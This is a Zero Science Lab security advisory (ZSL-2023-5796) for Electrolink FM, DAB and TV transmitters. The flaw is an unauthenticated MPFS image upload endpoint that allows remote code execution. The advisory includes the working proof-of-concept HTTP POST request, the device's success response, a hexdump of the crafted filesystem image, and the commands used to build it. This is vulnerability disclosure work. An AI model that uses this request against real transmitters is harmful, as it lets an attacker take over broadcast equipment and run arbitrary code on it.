Electrolink FM/DAB/TV Transmitter Exploit, Pre-Auth MPFS Image Remote Code Execution

Electrolink FM/DAB/TV Transmitter Pre-Auth MPFS Image Remote Code Execution

Vendor: Electrolink s.r.l.
Product web page: https://www.electrolink.com
Affected version: 10W, 100W, 250W, Compact DAB Transmitter
                  500W, 1kW, 2kW Medium DAB Transmitter
                  2.5kW, 3kW, 4kW, 5kW High Power DAB Transmitter
                  100W, 500W, 1kW, 2kW Compact FM Transmitter
                  3kW, 5kW, 10kW, 15kW, 20kW, 30kW Modular FM Transmitter
                  15W - 40kW Digital FM Transmitter
                  BI, BIII VHF TV Transmitter
                  10W - 5kW UHF TV Transmitter
                  Web version: 01.09, 01.08, 01.07
                  Display version: 1.4, 1.2
                  Control unit version: 01.06, 01.04, 01.03
                  Firmware version: 2.1

Summary: Since 1990 Electrolink has been dealing with design and
manufacturing of advanced technologies for radio and television
broadcasting. The most comprehensive products range includes: FM
Transmitters, DAB Transmitters, TV Transmitters for analogue and
digital multistandard operation, Bandpass Filters (FM, DAB, ATV,
DTV), Channel combiners (FM, DAB, ATV, DTV), Motorized coaxial
switches, Manual patch panels, RF power meters, Rigid line and
accessories. A professional solution that meets broadcasters needs
from small community television or radio to big government networks.

Compact DAB Transmitters 10W, 100W and 250W models with 3.5"
touch-screen display and in-built state of the art DAB modulator,
EDI input and GPS receiver. All transmitters are equipped with a
state-of-the art DAB modulator with excellent performances,
self-protected and self-controlled amplifiers ensure trouble-free
non-stop operation.

100W, 500W, 1kW and 2kW power range available on compact 2U and
3U 19" frame. Built-in stereo coder, touch screen display and
efficient low noise air cooling system. Available models: 3kW,
5kW, 10kW, 15kW, 20kW and 30kW. High efficiency FM transmitters
with fully broadband solid state amplifiers and an efficient
low-noise air cooling system.

FM digital modulator with excellent specifications, built-in
stereo and RDS coder. Digital deviation limiter together with
ASI and SDI inputs are available. These transmitters are ready
for ISOFREQUENCY networks.

Available for VHF BI and VHF BIII operation with robust desing
and user-friendly local and remote control. Multi-standard UHF
TV transmitters from 10W up to 5kW with efficient low noise air
cooling system. Analogue PAL, NTSC and Digital DVB-T/T2, ATSC
and ISDB-Tb available.

Desc: The device allows access to an unprotected endpoint that
allows MPFS File System binary image upload without authentication.
The MPFS2 file system module provides a light-weight read-only
file system that can be stored in external EEPROM, external
serial Flash, or internal Flash program memory. This file system
serves as the basis for the HTTP2 web server module, but is also
used by the SNMP module and is available to other applications
that require basic read-only storage capabilities. This can be
exploited to overwrite the flash program memory that holds the
web server's main interfaces and execute arbitrary code.

Tested on: Mbedthis-Appweb/12.5.0

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research & Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience

Advisory ID: ZSL-2023-5796
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5796.php

Ref: https://documentation.help/Microchip-TCP.IP-Stack/GS-MPFSUpload.html



POST /upload HTTP/1.1
Content-Length: 251
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----joxypoxy
User-Agent: MPFS2_PoC/1.0c
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Login=IgnoreMePlsKtnx
Connection: close

Content-Disposition: form-data; name="i"; filename="MPFSimg.bin"
Content-Type: application/octet-stream


HTTP/1.1 200 OK
Connection: close
Content-Type: text/html

<html><body style="margin:100px"><b>MPFS Update Successful</b><p><a href="/">Site main page</a></body></html>


hd htm:
0d 0a 4d 50 46 53 02 01  01 00 8a 43 20 00 00 00  MPFS.......C....
2b 00 00 00 30 00 00 00  02 44 eb 64 00 00 00 00  +...0....D.d....
00 00 69 6e 64 65 78 32  2e 68 74 6d 00 3c 68 74  ..index0.htm.<ht
6d 6c 3e 0d 0a 3c 74 69  74 6c 65 3e 5a 53 4c 3c  ml>..<title>ZSL<
64 6f 73 21 0d 0a 3c 2f  68 74 6d 6c 3e 0d 0a 2d  dos!..</html>..-


MPFS Structure:
     [BYTE Ver Hi][BYTE Ver Lo][WORD Number of Files]
     [Name Hash 0][Name Hash 1]...[Name Hash N]
     [File Record 0][File Record 1]...[File Record N]
     [String 0][String 1]...[String N]
     [File Data 0][File Data 1]...[File Data N]


C:\>javaw -jar MPFS2.jar
C:\>mpfs2 -v -l MPFSimg.bin
Version: 2.1
Number of files: 1 (1 regular, 0 index)
Number of dynamic variables: 0

FileRecord 0:
    .StringPtr = 32 index0.htm
    .DataPtr   = 43
    .Len       = 48
    .Timestamp = 2023-08-27T14:39:30Z
    .Flags     = 0

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